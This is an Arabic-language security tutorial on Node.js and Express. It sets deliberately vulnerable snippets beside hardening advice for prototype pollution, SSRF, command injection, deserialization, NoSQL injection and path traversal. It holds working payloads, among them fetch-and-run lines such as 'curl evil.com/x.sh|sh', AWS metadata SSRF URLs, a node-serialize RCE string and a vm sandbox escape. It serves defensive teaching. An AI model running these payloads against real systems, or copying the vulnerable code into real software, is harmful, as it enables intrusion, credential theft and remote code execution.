الفرق الحمراء — الهجومخبير110mL28

Node.js & Express Security — من جوّه

Prototype pollution و SSRF و deserialization و RCE في الـ middleware

#Node.js#Express#Prototype Pollution#SSRF#RCE

ليه Node.js مختلف عن PHP/Java أمنياً؟

إنت كاتب تطبيق Node. نفس الـ logic لو كاتبه في Java، آمن.

- طب يعني نفس الكود؟ مش معقول!

متوقّع يا مستجد. آه نفس الكود. السبب؟ JavaScript مش زي Java.

تشبيه — شرح مبسط
تخيّل بيت ذكي كل حيطانه بتتحرّك. مرونة جامدة، بس لو الزائر فهم إزاي يحرّكها، هيوصل لكل أوضة. Java زي مبنى أسمنت مسلّح — صعب تخش، صعب تبني فيه. Node مرن، سريع، حلو في الكتابة — وفيه فئات هجمات مش موجودة في Java أصلاً: prototype pollution، NoSQL injection، التلاعب بـ require()، deserialization عن طريق JSON عادي.
القصة: Lodash و 4 مليار download في الشهر
lodash.merge فيه prototype pollution — CVE-2019-10744. الـ npm بيـ download lodash 4 مليار مرة في الشهر. يعني نص الإنترنت كان vulnerable لـ payload واحد: {"__proto__":{"isAdmin":true}}. الـ patch طلع. تمام. بعد سنة، طلعت ثغرة مشابهة في set-value. وبعدها hoek. وبعدها minimist. نفس الـ class من الثغرات، شركات مختلفة، دروس ما اتعلمتش.
تحذير قانوني
أمثلة الاستغلال اللي جايّة كلها للتدريب في معملك أو pentest عليه إذن. تشغّلها على نظام إنتاج مش بتاعك = CFAA.

Prototype Pollution — أم الثغرات في Node

كل object في JS بيورّث من Object.prototype. المهاجم لو قدر يكتب property على الـ prototype ده، الـ property بتطلع على كل object في الـ process. النتايج بتتدرّج من DoS لحد RCE.

javascript
// كود ضعيف — merge عميق ساذج (مثل lodash.merge قبل الإصلاح)
function merge(target, source) {
  for (const key in source) {
    if (typeof source[key] === 'object') {
      if (!target[key]) target[key] = {};
      merge(target[key], source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}

// المهاجم يرسل JSON
app.post('/api/profile', (req, res) => {
  merge({}, req.body);   // <-- !!
  res.send('ok');
});

// payload
{
  "__proto__": {
    "isAdmin": true,
    "shell": "/bin/sh -c 'curl evil.com|bash'"
  }
}

// بعد هذا، {} في أي مكان في التطبيق يحوي isAdmin === true
من DoS لحد RCE
  • DoS — تكتب __proto__.toString = null → أي String(x) هيقع.
  • Auth bypass — تكتب isAdmin: true → كل user object بيبقى admin.
  • RCE — لو التطبيق بيستخدم child_process.spawn مع {shell: true} والـ options جايّة من merge، تلوّث __proto__.shell وتتحكّم في الـ shell command.
  • RCE عن طريق Express — Express بينادي res.render(view, locals). التلوّث على __proto__.outputFunctionName في bug مشهور بـ pug/handlebars بيدّيك RCE.
javascript
// CVE-2019-10744 (lodash) — مثال PoC للـ RCE عبر pug
fetch('/api/profile', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({
    "__proto__": {
      "block": {
        "type": "Text",
        "line": "process.mainModule.require('child_process').exec('curl evil.com/x.sh|sh')"
      }
    }
  })
});
الحماية
  • استخدم Object.create(null) للـ maps اللي بتيجي من user input.
  • افحص الـ keys: ارفض __proto__، constructor، prototype.
  • استخدم Map بدل plain objects للـ user-keyed data.
  • الـ flag --disable-proto=delete في Node 20+.
  • حدّث lodash, jQuery, Hoek, set-value — كلها طلعلها CVEs.

SSRF عبر axios / node-fetch / undici

طلب HTTP من السيرفر لـ URL متحكّم فيه user = SSRF. وفي Node فيه فخّين: redirect handling تلقائي + DNS rebinding، الاتنين بيوصلوا cloud metadata.

javascript
// كود خطر
app.get('/fetch-image', async (req, res) => {
  const r = await axios.get(req.query.url, {responseType: 'stream'});
  r.data.pipe(res);
});

// PoC للوصول لـ AWS IMDS من خلال عدم فحص hostname
GET /fetch-image?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

// أو DNS rebinding — يخدم 1.1.1.1 ثم يتغيّر للـ 169.254.169.254
GET /fetch-image?url=http://rebind.evil.com/latest/...

// أو URL parser confusion (Node URL vs WHATWG URL)
GET /fetch-image?url=http://attacker.com#@169.254.169.254/
javascript
// الحماية — allowlist + IP literal check + DNS resolve يدوي
import dns from 'dns/promises';
import ipaddr from 'ipaddr.js';

async function safeFetch(url) {
  const u = new URL(url);
  if (!['http:', 'https:'].includes(u.protocol)) throw new Error('proto');
  const addrs = await dns.resolve(u.hostname);
  for (const a of addrs) {
    const range = ipaddr.parse(a).range();
    if (range !== 'unicast') throw new Error('private/special IP');
    if (a.startsWith('169.254.') || a.startsWith('127.') || a.startsWith('10.')) throw new Error('blocked');
  }
  // Pin DNS — احكم على الـ IP و مرّره مباشرة
  return axios.get(url, { lookup: (h, opts, cb) => cb(null, addrs[0], 4) });
}

Command Injection عبر child_process

javascript
// خطر — exec مع user input
const { exec } = require('child_process');
app.get('/ping', (req, res) => {
  exec(`ping -c 4 ${req.query.host}`, (err, out) => res.send(out));
});

// PoC
GET /ping?host=8.8.8.8;curl%20evil.com/x.sh|sh

// أيضاً خطر — execFile مع shell:true
execFile('sh', ['-c', `echo ${req.query.x}`]);   // injection

// آمن — execFile بدون shell + arguments array
const { execFile } = require('child_process');
execFile('ping', ['-c', '4', '--', host], (err, out) => ...);
// لاحظ '--' لمنع flag injection
فخ شائع
spawn(cmd, args, {shell: true}) بيرجّعلك الـ injection تاني. القاعدة: shell: false دايماً + args array + -- عشان تقطع flags.

Deserialization عبر JSON و serialize-javascript

JSON.parse آمن. بس مكتبات تانية بتنفّذ كود فعلاً:

  • node-serializeunserialize() بيقبل markers زي _$$ND_FUNC$$_ وبينفّذ JS. متهجور بس لسه موجود في أنظمة كتير.
  • js-yamlyaml.load() القديم بيدعم !!js/function. استخدم yaml.safeLoad أو load(s, {schema: FAILSAFE_SCHEMA}).
  • serialize-javascript CVE-2020-7660 — XSS من regex.
  • vm module — مش sandbox. this.constructor.constructor("return process")() بيهرب منه.
javascript
// node-serialize PoC
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id', (e,o)=>console.log(o))}()"}

// vm escape
const vm = require('vm');
const sandbox = {};
vm.runInNewContext(`this.constructor.constructor('return process')().mainModule.require('child_process').execSync('id').toString()`, sandbox);
// → uid=0(root)

// آمن — استخدم isolated-vm إن احتجت sandbox فعلي
const ivm = require('isolated-vm');
const isolate = new ivm.Isolate({memoryLimit: 8});

NoSQL Injection — MongoDB

javascript
// خطر — body parsed يحوي operators
app.post('/login', async (req, res) => {
  const user = await User.findOne({ name: req.body.name, pass: req.body.pass });
  if (user) res.send('ok');
});

// المهاجم يرسل JSON
{"name": "admin", "pass": {"$ne": null}}
// $ne null = أي pass != null = bypass

// أخطر
{"name": {"$gt": ""}, "pass": {"$gt": ""}}   // أول user

// JS injection في $where
{"$where": "this.name == 'admin' && sleep(5000)"}   // blind oracle

// الحماية
import mongoSanitize from 'express-mongo-sanitize';
app.use(mongoSanitize({ replaceWith: '_' }));

// أو schema strict
const user = await User.findOne({
  name: String(req.body.name),
  pass: String(req.body.pass)
});

Path Traversal و File Disclosure

javascript
// خطر
app.get('/files/:name', (req, res) => {
  res.sendFile(path.join(__dirname, 'uploads', req.params.name));
});

// PoC
GET /files/..%2f..%2f..%2fetc%2fpasswd
GET /files/..%252f..%252f   # double-encode إذا كان هناك decode مرتين

// عبر symlinks
GET /files/symlink_to_root

// الحماية
const safe = path.normalize(req.params.name).replace(/^(\.\.[\/\\])+/, '');
const full = path.join(__dirname, 'uploads', safe);
if (!full.startsWith(path.resolve(__dirname, 'uploads') + path.sep)) {
  return res.status(403).end();
}
// + fs.realpath لكشف symlinks
const real = await fs.promises.realpath(full);
if (!real.startsWith(uploadsRoot)) return res.status(403).end();

Express-specific traps

  • express.static + viewEngine — لو الـ static prefix بيوصل لمجلد الـ templates، فيه تلاعب ممكن.
  • req.query parsing — Express بيستخدم qs اللي بيدعم arrays و nested objects: ?a[]=1&a[]=2. كود بيفترض string هيتكسر.
  • HPP (HTTP Parameter Pollution)?id=1&id=2 بيبقى array. استخدم middleware hpp.
  • Trust proxy misconfigapp.set('trust proxy', true) الكامل بيخلّي المهاجم يزوّر X-Forwarded-For ويعدّي rate limits / IP allowlists.
  • Open redirectres.redirect(req.query.next) من غير فحص. قفّل على paths نسبية بس.
  • Body size — مفيش حد افتراضي على JSON body كبير في بعض الإعدادات. حط express.json({ limit: '100kb' }).

Supply chain — npm كسلاح

  • Typosquattingexpresss, colorss, crossenv.
  • Dependency confusion — حزمة عامة بنفس اسم حزمة داخلية عندك.
  • Compromised maintainer — event-stream (2018), ua-parser-js (2021), node-ipc (2022 protestware).
  • postinstall scripts — بتشتغل لوحدها مع npm install. خصوصاً على CI.
bash
# الحماية
npm config set ignore-scripts true            # امنع postinstall افتراضياً
npm install --ignore-scripts <pkg>
npm audit && npm audit fix
npm ls --all                                  # شجرة كاملة
npx better-npm-audit                          # تجاهل CVEs بـ justification

# Lockfile lint
npx lockfile-lint --type npm --path package-lock.json \
  --validate-https --allowed-hosts npm

# Socket.dev / Snyk / GitHub Dependabot
# Sigstore + npm provenance — توقيع الحزم رسمياً (npm publish --provenance)

تحصين Express — قائمة عملية

javascript
import express from 'express';
import helmet from 'helmet';
import rateLimit from 'express-rate-limit';
import mongoSanitize from 'express-mongo-sanitize';
import hpp from 'hpp';

const app = express();
app.disable('x-powered-by');                     // لا تكشف Express
app.set('trust proxy', 1);                       // فقط reverse proxy واحد
app.use(helmet());                               // CSP/HSTS/XSS-Protection
app.use(express.json({ limit: '100kb' }));
app.use(mongoSanitize({ replaceWith: '_' }));
app.use(hpp());
app.use(rateLimit({ windowMs: 60_000, max: 100 }));

// CSP صارم
app.use(helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'", "'nonce-{{nonce}}'"],   // لا 'unsafe-inline'
    objectSrc: ["'none'"],
    frameAncestors: ["'none'"],
    upgradeInsecureRequests: []
  }
}));

// Cookie آمنة
app.use(session({
  secret: process.env.SECRET,
  cookie: { httpOnly: true, secure: true, sameSite: 'strict' }
}));

أدوات الفحص

  • npm audit / pnpm audit — أول خط دفاع.
  • Semgrep مع ruleset p/javascript و p/nodejs — بيصطاد eval, child_process, prototype pollution sinks.
  • CodeQL — تحليل أعمق، فيه query suite كامل للـ JS.
  • NodeJsScan — فحص ثابت سريع.
  • Burp Suite + extension prototype-pollution-finder.
  • OWASP ZAP + active scanner للـ NoSQLi.

غلطات الـ junior في Node

اللي بيكلّفك breach
  • "merge بسيط، إيه المشكلة" — أي recursive merge من user input من غير فلترة على __proto__ = ثغرة. حتى لو الـ codebase صغير.
  • npm install أي حاجة — left-pad اتمسحت مرة وكسرت نص الإنترنت. event-stream اتعملها supply chain attack وسرقت Bitcoin wallets. قبل ما تـ install package، اتفرّج على المؤلف، الـ downloads، آخر commit.
  • JWT بـ HS256 والـ secret في .env — ثم الـ .env بيتكوميت بالغلط. اتسرّب 1000 مرة في 1000 شركة. استخدم RS256 + KMS.
  • eval() على JSON — لسه فيه ناس بتعمل كده في 2026. JSON.parse موجود من زمان.
  • child_process.exec بـ string — بدل spawn بـ array. الفرق: shell injection vs آمن.
  • "helmet مش هيعمل فرق" — helmet في 5 سطور بيقفلك 8 classes من الهجمات. مش feature، ضرورة.

الخلاصة الناشفة

Node سريع وحلو. وبيدّيك مساحة تغلط 1000 غلطة قبل ما تخش production.

اكتبها على ظهر إيدك:

الفرق بين Node آمن و Node مكشوف = 5 packages: helmet، express-rate-limit، joi/zod، express-mongo-sanitize، و npm audit في الـ CI.

اللي مش بيستخدمهم؟ بيختبر الـ exploits على إنتاجه. وأنت ونصيبك.